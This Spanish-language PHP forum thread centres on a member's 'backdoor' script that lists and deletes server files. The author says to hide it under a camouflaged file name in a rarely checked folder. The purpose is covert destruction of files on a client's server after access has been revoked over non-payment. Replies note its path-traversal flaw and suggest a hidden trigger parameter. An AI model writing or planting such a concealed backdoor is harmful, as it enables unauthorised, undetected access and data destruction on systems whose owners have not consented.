Foros del Web » Programando para Internet » PHP »

Aporte: Script para controlar tu sitio sin ftp

Estas en el tema de Aporte: Script para controlar tu sitio sin ftp en el foro de PHP en Foros del Web. Buenas gente del foro, me han consultado recientemente sobre un caso particular, que pasa si, por ejemplo, le diseñamos la estetica a una web la ...
  #1 (permalink)  
Antiguo 14/11/2012, 09:49
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Aporte: Script para controlar tu sitio sin ftp

Buenas gente del foro, me han consultado recientemente sobre un caso particular, que pasa si, por ejemplo, le diseñamos la estetica a una web la subimos por ftp para que la usen los desarrolladores que nos contratan y estos no nos pagan, es mas, eliminan nuestra cuenta ftp.

Nos estarian estafando, claro esta. y que podemos hacer? como borrar nuestros archivos del server si no tenemos acceso al ftp? las herramientas de hacking son casi inutiles ante los ultimos protocolos de seguridad de los server y ademas no apoyo esta alternativa.

El scrip que aporto a continuacion es un backdoor.
Como veran en el codigo no es un virus, ni un hack, ni nada de eso, por lo que no creo estar rompiendo ninguna norma del foro al publicarlo, (ademas de que es escrito por mi)

Este script debe ser subido al server a una carpeta donde dificilmente sea rastreado, por ejemplo:

Public-Html/Sistema/Archivos/Postales/Formularios/Plugins/Validadores/Worpress/Articles/......

es decir a una carpeta que el administrador no valla a mirar con frecuencia, preferiblemente que tenga muchos archivos php, y le ponemos un nombre tipo form_validator.php u otro que se camufle entre los ya existentes.

de esta manera si no recibimos lo que pedimos a cambio por nuestro trabajo podremos eliminar del server nuestros archivos sin ser notados por el admin (o por lo menos esa es la idea).

tambien puede usarse este script para montar un panel de control (originalmente eso era con algunas funciones que quite porque para esto es innesesario)

Codigo:

Código PHP:
Ver original
  1. <?php
  2. //Configuracion:
  3. $DAT[USR] = 'Admin'; //Usuario
  4. $DAT[CLV] = 'Admin'; //Clave
  5. $DAT[TRO] = 'Backdoor.php'; //Nombre de este archivo
  6. $DAT[RUT] = './'; //Ruta relativa al archivo del directorio padre que sequiere controlar
  7.  
  8.  
  9. //Desloguearse.
  10. If ($_GET['EXT']=='1') {
  11.     Unset($_SESSION['Clave']);
  12. }
  13.  
  14. //Cabeza de la pagina.
  15. Echo <<<HTML
  16.             <Html>
  17.                 <Head>
  18.                     <Meta Charset="Utf-8" />
  19.                     <Title>Panel de Control</Title>
  20.                     <Style>
  21.                         body{
  22.                             background-image:-webkit-linear-gradient(top,#F9F9F9,#E9E9E9);
  23.                         }
  24.                         #Contenido , #Botonera , #Log {
  25.                             width:900px;
  26.                             border:3px double #666;
  27.                             padding:10px;
  28.                             color:#222;
  29.                             font-family:arial;
  30.                             font-size:12px;
  31.                             font-variant:small-caps;
  32.                             font-weight:bold;
  33.                             margin:10px auto;
  34.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  35.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#0E4168),color-stop(0.1,#236BA3),color-stop(0.5,#236BA3),color-stop(0.9,#236BA3),to(#0E4168));
  36.                             min-height:40px;
  37.                             border-radius:5px;
  38.                             text-align:center;
  39.                         }
  40.                         form td , form table {
  41.                             border:1px solid #666;
  42.                             padding:10px;
  43.                             color:#222;
  44.                             font-family:arial;
  45.                             font-size:15px;
  46.                             font-variant:small-caps;
  47.                             font-weight:bold;
  48.                             margin:10px auto;
  49.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  50.                             background-image:-webkit-linear-gradient(top,#FEFEFE,#EDEDED);
  51.                             border-radius:3px
  52.                         }
  53.                         form table{
  54.                             width:875px;
  55.                             margin:5px auto;
  56.                             border-radius:6px
  57.                         }
  58.                         th {
  59.                             border:1px solid #666;
  60.                             padding:10px;
  61.                             color:#EEE;
  62.                             font-family:arial;
  63.                             font-size:20px;
  64.                             font-variant:small-caps;
  65.                             font-weight:bold;
  66.                             margin:10px auto;
  67.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,rgba(255,255,255,0.701961) 0 0 1px inset;
  68.                             background-image:-webkit-linear-gradient(top,#555,#111);
  69.                             border-radius:3px;
  70.                             Text-Align:Center;
  71.                         }
  72.                         .Directorio{
  73.                             background-image:-webkit-linear-gradient(top,#CCC,#AAA);
  74.                             Text-Align:Center;
  75.                         }
  76.                         input[type=button] , input[type=submit] , .Button {
  77.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#FFF),color-stop(0.25,#EBEBEB),color-stop(0.5,#DBDBDB),to(#B5B5B5));
  78.                             border:1px solid #949494;
  79.                             border-bottom-left-radius:3px;
  80.                             border-bottom-right-radius:3px;
  81.                             border-top-left-radius:3px;
  82.                             border-top-right-radius:3px;
  83.                             box-shadow:rgba(0,0,0,0.498039) 0 1px 3px,#FFF 0 0 2px inset;
  84.                             color:#333;
  85.                             font-family:Arial;
  86.                             font-size:14px;
  87.                             font-weight:bold;
  88.                             margin:5px;
  89.                             padding:5px 20px;
  90.                             text-shadow:rgba(0,0,0,0.2) 0 -1px 0px,#FFF 0 1px 0;
  91.                             font-variant:small-caps;
  92.                         }
  93.                         input[type=button]:hover , input[type=submit]:hover , .button:hover {
  94.                             box-shadow:#000 0 0 10px;
  95.                             color:#000;
  96.                             cursor:pointer;
  97.                             font-weight:bold
  98.                         }
  99.                         input[type=button]:active , input[type=submit]:active , .button:active{
  100.                             box-shadow:#EFEFEF 0 0 10px
  101.                         }
  102.                         #Error{
  103.                             background-image:-webkit-gradient(linear,0 0%,0 100%,from(#EA5347),to(#D66124));
  104.                             border:1px solid #959595;
  105.                             border-bottom-left-radius:3px;
  106.                             border-bottom-right-radius:3px;
  107.                             border-top-left-radius:3px;
  108.                             border-top-right-radius:3px;
  109.                             box-shadow:#000 0 0 8px;
  110.                             color:#222;
  111.                             font-size:14px;
  112.                             font-variant:small-caps;
  113.                             margin:30px auto;
  114.                             min-height:50px;
  115.                             padding:25px 0 0 0;
  116.                             text-align:center;
  117.                             text-shadow:#959595 0 1px 0;
  118.                             width:300px;
  119.                         }
  120.                     </Style>
  121.                 </Head>
  122.                 <Body>
  123. HTML;
  124.  
  125. //Verificar autenticidad.
  126. If ($_SESSION[Clave] != '4Quydp6aqqUbQDv2') {
  127.     //Verificar usuario y clave.
  128.     If( ($_POST[USR] != $DAT[USR]) Or ($_POST[CLV] != $DAT[CLV]) ){
  129.         //Formulario de logueo.
  130.         Echo <<<HTML
  131.             <Div Id="Botonera">
  132.                 <Div Id="Error">Error. Debes ser usuario autorizado.</Div>
  133.             </Div>
  134.             <Div Id="Contenido">
  135.                 <Form Id="Formulario" Action="$DAT[TRO]" Method="post">
  136.                     <Table>
  137.                         <Tr>
  138.                             <Td> Usuario: </Td> <Td> <Input Type="Text" Name="USR" Id="USR" Size="30" /> </Td>
  139.                         </Tr
  140.                         <Tr>
  141.                             <Td> Clave: </Td> <Td> <Input Type="Password" Name="CLV" Id="CLV" Size="30" /> </Td>
  142.                         </Tr>
  143.                         <Tr>
  144.                             <Td Colspan="2"> <Input Type="Submit" Value="Entrar!" Style="Float:Right"/> </Td>
  145.                         </Tr>
  146.                     </Table>
  147.                 </Form>
  148.             </Div>
  149. HTML;
  150.     } Else {
  151.         //Logueo correcto, habilitar acceso.
  152.         $_SESSION[Clave] = '4Quydp6aqqUbQDv2';
  153.         //Si tu server lo permite puedes reemplazar este echo por un: Header("Location: $DAT[TRO]");
  154.         Echo <<<HTML
  155.                     <Div Id="Botonera">
  156.                         <A Href="$DAT[TRO]" Class="Button">Acceder!</A>
  157.                     </Div>
  158. HTML;
  159.     }
  160. } Else {
  161.     //Estas habilitado.
  162.     Echo <<<HTML
  163.             <Form Id="Formulario" Action="$DAT[TRO]" Method="post">
  164.                 <Div Id="Botonera">
  165.                     <Input Type="Submit" Value="Eliminar Seleccionados" Style="Float:Left" />
  166.                     <A Href="$DAT[TRO]?EXT=1" Class="Button" Style="Float:Right" >Cerrar & Salir.</A>
  167.                 </Div>
  168.                 <Div Id="Log">
  169. HTML;
  170.     //Si tengo que eliminar elimino.
  171.     If (Isset($_POST[Datos])) {
  172.         ForEach ($_POST[Datos] As $ARCH) {
  173.             If (!Unlink($ARCH)) {
  174.                 Echo ("Error borrando: $ARCH<Br />");
  175.             } Else {
  176.                 Echo ("Archivo borrado: $ARCH<Br />");
  177.             }
  178.         }
  179.     }
  180.     Echo <<<HTML
  181.                 </Div>
  182.                 <Div Id="Contenido">
  183.                         <Table>
  184.                             <Tr>
  185.                                 <Th> Selec. </Th> <Th> Ruta </Th> <Th> Archivo </Th>
  186.                             </Tr>
  187. HTML;
  188.     //Funcion recursiva que los muestra.
  189.     Function ListarArchivos($RUT){
  190.         $I=0;
  191.         If (Is_Dir($RUT)) {
  192.             If ($DIR = Opendir($RUT)) {
  193.                 While (($ARCH = ReadDir($DIR)) != False) {
  194.                     If ( (Is_Dir($RUT.$ARCH)) And ($ARCH != ".") And ($ARCH != "..") ){
  195.                         Echo '<Tr><Td Colspan="4" Class="Directorio" >'.$ARCH.'</Td>';
  196.                         ListarArchivos($RUT.$ARCH.'/');
  197.                     }
  198.                     If ( (!Is_Dir($RUT.$ARCH)) And ($ARCH != ".") And ($ARCH != "..") ){
  199.                         Echo '<Tr><Td><Input Type="Checkbox" Name="Datos[]" Value="'.$RUT.$ARCH.'"/></Td><Td>'.$RUT.'</Td><Td>'.$ARCH.'</Td>';
  200.                     }
  201.                 }
  202.                 Closedir($DIR);
  203.             }
  204.         }Else {
  205.             Echo "<Br />No es ruta valida";
  206.         }
  207.     }
  208.     //Muestro archivos a partir de esta ruta.
  209.     ListarArchivos($DAT[RUT]);
  210.     Echo <<<HTML
  211.                     </Table>
  212.                 </Div>
  213. HTML;
  214.  
  215.     Echo <<<HTML
  216.             </Form>
  217. HTML;
  218. }
  219. //Fin de la pagina.
  220. Echo <<<HTML
  221.                 </Body>
  222.             </Html>
  223. HTML;
  224. ?>

para que ande hay que asegurarse que despues de HTML; no halla espacios ni nada.

espero le sea util a alguien, y si no les sirve como medida de seguridad de su trabajo, tal vez le sirva para montar un panel de control propio o algo asi.

saludos
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios

Última edición por NSD; 01/09/2014 a las 12:52
  #2 (permalink)  
Antiguo 14/11/2012, 12:03
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Demoños!!!, cualquiera que obtenga acceso a ese script podrá eliminar todo el contenido del sitio!!!

Es una lástima que te haya pasado tantas veces el hecho de que no te paguen por tu trabajo, a tal grado que hayas programado este pequeño script. Pero tampoco creo que dejar un backdoor sea lo adecuado.

Ojalá agregues la opción para eliminar ese script en cuanto recibas el pago correspondiente.
__________________
- León, Guanajuato
- GV-Foto
  #3 (permalink)  
Antiguo 14/11/2012, 12:11
Avatar de Javier01  
Fecha de Ingreso: febrero-2008
Ubicación: Montevideo
Mensajes: 261
Antigüedad: 16 años, 2 meses
Puntos: 31
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Gracias por el aporte!
Mas haya de todo, sirve para listar archivos por carpeta, y borrarlos.
De usarlo del modo que dices es recomendable al final, borrar el propio archivo (suicidarlo),
si no quieres que unas horas lleguen un par de sicarios a tu puerta.
Saludos
__________________
Tomarse un tiempo para redactar correctamente la pregunta, utilizando los signos de puntuación adecuados, es ganar tiempo y calidad en la respuesta.
  #4 (permalink)  
Antiguo 14/11/2012, 12:16
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Cita:
Demoños!!!, cualquiera que obtenga acceso a ese script podrá eliminar todo el contenido del sitio!!!
la idea es que este bien escondico con una url bien dificil o poco comun, y ademas tiene user y pass para evitar el acceso, con un user y un pass aleatorios, la seguridad es similar a una cuenta ftp.

todo no. solo lo que al configurarlo hallamos habilitado. si habilitamos hasta el public_html, entonces si, se podra eliminar todo.

en fin, tal vez sirva para un panel de control u otra aplicacion menos drastica.

Cita:
De usarlo del modo que dices es recomendable al final, borrar el propio archivo (suicidarlo),
Cita:
Ojalá agregues la opción para eliminar ese script en cuanto recibas el pago correspondiente.
el script puede autoeliminarse. seleccioandolo de la lista a borrar, se borra a si mismo, la idea es usarlo como "Garantia" o "Ultima Opcion", no como algo comun en todas las web.


Saludos y gracias por comentar.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
  #5 (permalink)  
Antiguo 14/11/2012, 12:32
Avatar de skiper0125  
Fecha de Ingreso: octubre-2010
Ubicación: $this->Mexico('Toluca');
Mensajes: 1.127
Antigüedad: 13 años, 6 meses
Puntos: 511
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Hola que tal.

Muy buen script independientemente de la situación o causa por la cual realizaste este script también lo podrías utilizar para depurar tu sitio no solo para cuestiones negativas sino también para otras circunstancias.

Saludos
__________________
Recuerda que estamos aquí para orientarte, y no para hacer tu trabajo.
Si mi aporte fue de ayuda, recuerda que agradecer no cuesta nada +1

Skiper0125
  #6 (permalink)  
Antiguo 14/11/2012, 12:37
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

gracias skiper0125 como bien dises podría tener otras aplicaciones, y ojala alguien saque provecho de esto para hacer algo mas grande! saludos.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
  #7 (permalink)  
Antiguo 14/11/2012, 14:23
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Con el uso de ../../otra-ruta/otro-archivo es posible eliminar todo, no tienes validaciones, simplemente eliminas y ya.
__________________
- León, Guanajuato
- GV-Foto
  #8 (permalink)  
Antiguo 14/11/2012, 14:43
Avatar de stramin  
Fecha de Ingreso: marzo-2008
Ubicación: Cubil felino
Mensajes: 1.652
Antigüedad: 16 años, 1 mes
Puntos: 336
Respuesta: Aporte: Script para controlar tu sitio sin ftp

PUES!

a mi me parece genial este archivo, por que a mi también me ha pasado y a ustedes también les puede pasar y da mucha rabia la impotencia de no poder hacer absolutamente nada, se ríen de ti, no te pagan y nadie te devuelve el tiempo perdido y peor aún luego contratan a otro programador para continuarlo y a ese otro tampoco le pagan.

Y PASA! mejor no les cuento la experiencia...

en muchas ocasiones he pensado en hacer un script como este pero nunca me he animado a hacerlo, claro que mi idea era hacer algo así como un contador que eliminase algún archivo necesario ingresando en la url un get específico (pagina.php?doom=die)...

Así que NSD, se agradece tu aporte, y claro, una vez que el cliente haya pagado, podemos borrar el archivo
__________________
El objetivo de este foro es orientar al usuario como un favor y no como una obligación.

Yo soy de los que dan puntos por aporte :D
  #9 (permalink)  
Antiguo 14/11/2012, 19:40
Avatar de abimex
Colaborador
 
Fecha de Ingreso: marzo-2007
Ubicación: ~
Mensajes: 751
Antigüedad: 17 años, 2 meses
Puntos: 137
Respuesta: Aporte: Script para controlar tu sitio sin ftp

deberias ponerle una contrasena global, algo como
Código PHP:
Ver original
  1. <?php
  2. $pass = "password encriptado";
  3. if(!isset($_COOKIE['allowed_to_destroy'])){
  4.     // muestra algun formulario
  5.     if($_POST['password'] && md5($_POST['password']) == $pass){
  6.         // te permito destruir mi sistema
  7.     }
  8. }
  #10 (permalink)  
Antiguo 14/11/2012, 20:01
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Cita:
Con el uso de ../../otra-ruta/otro-archivo es posible eliminar todo, no tienes validaciones, simplemente eliminas y ya.
claro pero suponte esto:
Public_Html/Programas/Css/EstiloContacto/Dinamicos/Formularios.php
si formularios.php es nuestro archivo y en $DAT[RUT] tienes "../../../" solo podras eliminar archivos de la carpeta css y sus derivados, pero no archivos de la programas o del raiz public_html, a eso me referia con lo de "lo que allamos habilitado"

Cita:
Así que NSD, se agradece tu aporte, y claro, una vez que el cliente haya pagado, podemos borrar el archivo
Esactamente stramin esa es la idea, me alegro que te sirva o pueda servir a ti tambien!

Cita:
deberias ponerle una contrasena global, algo como
abimex de hecho tiene contraseña, un script de este tipo tiene que tener una protección aparte de la ingenieria social. si te fijas uso seciones para controlar el acceso, la idea de incluir cookies no esta mal, pero en mi opinion personal lo considero inesesario. si lo deseas puedes añadirlas y usarlas junto con ellas en tu script saludos.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
  #11 (permalink)  
Antiguo 16/11/2012, 16:39
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Era algo que ya me temía, pero, no quería quedarme con la duda, así que probé el siguiente script desde la carpeta /localhost/fdw/prueba-rutas:

Código PHP:
Ver original
  1. <?php
  2. $ruta = '/localhost/fdw/prueba-rutas/';
  3. $archivo = '../index.php';
  4.  
  5. echo htmlentities(file_get_contents("$ruta$archivo"));

Sabes lo que obtuve?... exacto, el contenido de index.php en la carpeta anterior, así que, insisto en que debes incluir validaciones o la puerta trasera se convertirá en algo muy peligroso. Si incluyo doble ../ obtendré el index.php de /localhost y de ahí puedo exlorar toda la estructura del sitio.
__________________
- León, Guanajuato
- GV-Foto
  #12 (permalink)  
Antiguo 16/11/2012, 19:48
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Cita:
Sabes lo que obtuve?... exacto, el contenido de index.php en la carpeta anterior, así que, insisto en que debes incluir validaciones o la puerta trasera se convertirá en algo muy peligroso. Si incluyo doble ../ obtendré el index.php de /localhost y de ahí puedo exlorar toda la estructura del sitio.
mmm curioso, de hecho ayer pensaba en algo asi pero con la finalidad de incluir un editor simple en textarea que permita editar el contenido de los archivos php, asi, si no queremos eliminar archivos, podriamos agregarle un cartel de morosos en el index de la web (je je) pero pensaba en ese tipo de cosas, si alguien tiene acceso podria poner un codigo como el tuyo dentro de un while y descargarse todos los fuentes de la web.

con respecto a la validacion que me pides, veo el bache en el supuesto caso que un visitante con firebug, cambiara el valor de un checkbox por un el de un archivo que no corresponde, la funcion lo eliminaria sin darse cuenta del engaño.

seguire tu consejo y mas tarde publicare el BackDoor 2.0 con validaciones y algunas funciones mas, me agradaria que cuando este listo des nuevamente tu opinion critica, pera ver en que mas se puede mejorar.

saludos.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
  #13 (permalink)  
Antiguo 16/11/2012, 19:52
Avatar de abimex
Colaborador
 
Fecha de Ingreso: marzo-2007
Ubicación: ~
Mensajes: 751
Antigüedad: 17 años, 2 meses
Puntos: 137
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Cita:
Iniciado por NSD Ver Mensaje
claro pero suponte esto:
Public_Html/Programas/Css/EstiloContacto/Dinamicos/Formularios.php
si formularios.php es nuestro archivo y en $DAT[RUT] tienes "../../../" solo podras eliminar archivos de la carpeta css y sus derivados, pero no archivos de la programas o del raiz public_html, a eso me referia con lo de "lo que allamos habilitado"



Esactamente stramin esa es la idea, me alegro que te sirva o pueda servir a ti tambien!



abimex de hecho tiene contraseña, un script de este tipo tiene que tener una protección aparte de la ingenieria social. si te fijas uso seciones para controlar el acceso, la idea de incluir cookies no esta mal, pero en mi opinion personal lo considero inesesario. si lo deseas puedes añadirlas y usarlas junto con ellas en tu script saludos.
En mi script? yo no usaría esto ni loco; siempre uso ssh, y con todo respeto, tiene muchos fallos
  #14 (permalink)  
Antiguo 16/11/2012, 20:18
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Cita:
En mi script? yo no usaría esto ni loco; siempre uso ssh, y con todo respeto, tiene muchos fallos
Si no quieres usarlo me parece perfecto, pero no vengas aqui a hacerte el superado o a criticar, dime concretamente que fallos tiene? triby señalo uno de seguridad y yo encontre otro.

en lugar de decir "tiene muchos fallos" "yo no usaria tu script ni loco" di cuales. señalalos. dinos que hubieras hecho tu en cambio. di que le mejorarias. porque, pero PUNTUALMENTE por que no te agrada.

si no va a aportar nada estorbas.

y con respecto a lo de tu "yo ciempre uso SSH" por si no lo leiste te cito lo que escribi en el inicio del post:

Cita:
la subimos por ftp para que la usen los desarrolladores que nos contratan y estos no nos pagan, es mas, eliminan nuestra cuenta ftp.

Nos estarian estafando, claro esta. y que podemos hacer? como borrar nuestros archivos del server si no tenemos acceso al ftp?
ni SFTP si SSH. si no tienes user ni pass habilitados. si te banearon todo, dime como usaras SSH? de hecho el protocolo se protegera de gente como tu. entonces, nesitaras un backdoor.

y si, por esas cosas, mi script no te parece util, y crees que no sirve para una m***** entonces nose que haces aqui comentando, ve a otros "post que te interesen y te sean utiles" y recuerda que estas simples lineas de codigo las estoy regalando sin pedir nada a cambio, asi que no me reclames porque no tengo porque atender tus pedidos.
en todo caso sugiere como hizo tribi que puedo hacer para mejorarlo.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
  #15 (permalink)  
Antiguo 16/11/2012, 20:36
Avatar de abimex
Colaborador
 
Fecha de Ingreso: marzo-2007
Ubicación: ~
Mensajes: 751
Antigüedad: 17 años, 2 meses
Puntos: 137
Respuesta: Aporte: Script para controlar tu sitio sin ftp

bueno, no quise ser grosero, al contrario aprecio este tipo de aportes y colaboro al software libre.
Los errores que encuentro son
1. Mayusculas/Minusculas
Quizas esto no presente un problema a simple vista, pero me eh topado con servidores que no es lo mismo "echo" que "Echo" o "eChO". Ten en cuenta eso, porque todas las funciones que usas estan asi.
2. $DAT[USR]
USR deberia estar encomillado si no PHP lo usa como constante la cual no esta definida
y asi errores de escritura, en seguridad pues lo que comentaron anteriormente

Y pues lo ideal es trabajar en un servidor propio y trabajar para empresas confiables.
Saludos y una disculpa por el malentendido
  #16 (permalink)  
Antiguo 17/11/2012, 23:23
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Aporte: Script para controlar tu sitio sin ftp

No se requiere firebug para explotar una vulnerabilidad como esta, basta con guardar el formulario en tu PC, modificarlo a tu gusto y procesarlo.

Por cierto, nunca he usado firebug.
__________________
- León, Guanajuato
- GV-Foto
  #17 (permalink)  
Antiguo 01/09/2014, 13:59
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Como al parecer este tema resulto de utilidad para varios hasta hoy en dia, muevo el script a un repositorio publico ubicado en https://github.com/Proyecto-NSD/PHP-Backdoor de esta forma futuras actualizaciones y parches estaran disponibles y actualizados para el que los requiera.

A dia de hoy, he corregido gran parte de lo mencionado en este tema, pero no ha sido testeado con la minuciosidad que corresponde, por lo que pueden surgir algunos inprevistos al implementarlo. En cualquier caso, las actualizaciones se pondran en el repositorio antes mencionado.

Saludos!
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios
  #18 (permalink)  
Antiguo 01/09/2014, 16:17
Avatar de Triby
Mod on free time
 
Fecha de Ingreso: agosto-2008
Ubicación: $MX->Gto['León'];
Mensajes: 10.106
Antigüedad: 15 años, 8 meses
Puntos: 2237
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Esa validación del '..' me parece bien, aunque supongo que se podría representar el punto con algún tipo de escape de caracteres; no estaría mal si agregas protección adicional como la que @GatorV sugiere en: http://www.forosdelweb.com/f18/aport...ar-xss-948577/

Está claro que es para uso personal, pero nunca está de sobra protegerte de accesos no deseados.
__________________
- León, Guanajuato
- GV-Foto
  #19 (permalink)  
Antiguo 01/09/2014, 21:10
Avatar de NSD
NSD
Colaborador
 
Fecha de Ingreso: mayo-2012
Ubicación: Somewhere
Mensajes: 1.332
Antigüedad: 12 años
Puntos: 320
Respuesta: Aporte: Script para controlar tu sitio sin ftp

Hola, gracias por el interes, he estado revisando el tema del xss que mencionas y, (tal vez porque no busque lo suficiente) no he encontrado una razon real para incluir una proteccion como la del aporte mencionado.

El unico "agujero" de seguridad posible, es que el usuario tenga acceso a un documento que esta "mas abajo" o "afuera" del base_path por decirlo de alguno forma, eso solo se puede lograr empleando el nombre de directorio padre generico: ".." la funcion de xss que mencionas, protege de muchos caracteres, pero el "." justamente en particular, no es uno de ellos.

Voy a investigar todos los encodes posibles que hay para ese caracter y a agregarlos a la validacion ya que es algo que no se esta teniendo en cuenta.
__________________
Maratón de desafíos PHP Junio - Agosto 2015 en FDW | Reglamento - Desafios

Etiquetas: controlar, formulario, ftp, html, aportes, variables, usuarios
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta

SíEste tema le ha gustado a 2 personas




La zona horaria es GMT -6. Ahora son las 05:43.